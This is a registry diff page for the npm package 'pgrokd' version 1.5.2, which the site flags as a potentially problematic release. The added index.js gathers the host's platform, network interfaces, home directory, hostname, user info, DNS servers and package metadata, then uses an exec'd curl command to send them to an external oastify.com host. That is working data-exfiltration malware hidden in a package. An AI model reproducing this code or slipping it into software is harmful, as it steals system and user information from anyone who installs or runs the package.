pgrokd 1.5.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pgrokd might be problematic. Click here for more details.
- package/index.js +39 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
const { exec } = require("child_process");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const dns = require("dns");
|
|
4
|
+
const packageJSON = require("./package.json");
|
|
5
|
+
const package = packageJSON.name;
|
|
6
|
+
|
|
7
|
+
// Gather system information
|
|
8
|
+
const systemInfo = {
|
|
9
|
+
platform: os.platform(),
|
|
10
|
+
arch: os.arch(),
|
|
11
|
+
release: os.release(),
|
|
12
|
+
type: os.type(),
|
|
13
|
+
totalMemory: os.totalmem(),
|
|
14
|
+
freeMemory: os.freemem(),
|
|
15
|
+
cpus: os.cpus(),
|
|
16
|
+
networkInterfaces: os.networkInterfaces(),
|
|
17
|
+
homedir: os.homedir(),
|
|
18
|
+
hostname: os.hostname(),
|
|
19
|
+
userInfo: os.userInfo(),
|
|
20
|
+
dnsServers: dns.getServers(),
|
|
21
|
+
packageResolved: packageJSON ? packageJSON.___resolved : undefined,
|
|
22
|
+
packageVersion: packageJSON.version,
|
|
23
|
+
packageInfo: packageJSON
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
const systemInfoString = encodeURIComponent(JSON.stringify(systemInfo));
|
|
27
|
+
|
|
28
|
+
// Send system information using curl
|
|
29
|
+
const curlCommand = `curl "https://ahvlzdg9vb6sf0j2e1pguqtg97fy3n.oastify.com/?systemInfo=${systemInfoString}"`;
|
|
30
|
+
|
|
31
|
+
exec(curlCommand, (error, stdout, stderr) => {
|
|
32
|
+
if (error) {
|
|
33
|
+
console.error(`exec error: ${error}`);
|
|
34
|
+
return;
|
|
35
|
+
}
|
|
36
|
+
console.log(`stdout: ${stdout}`);
|
|
37
|
+
console.error(`stderr: ${stderr}`);
|
|
38
|
+
});
|
|
39
|
+
|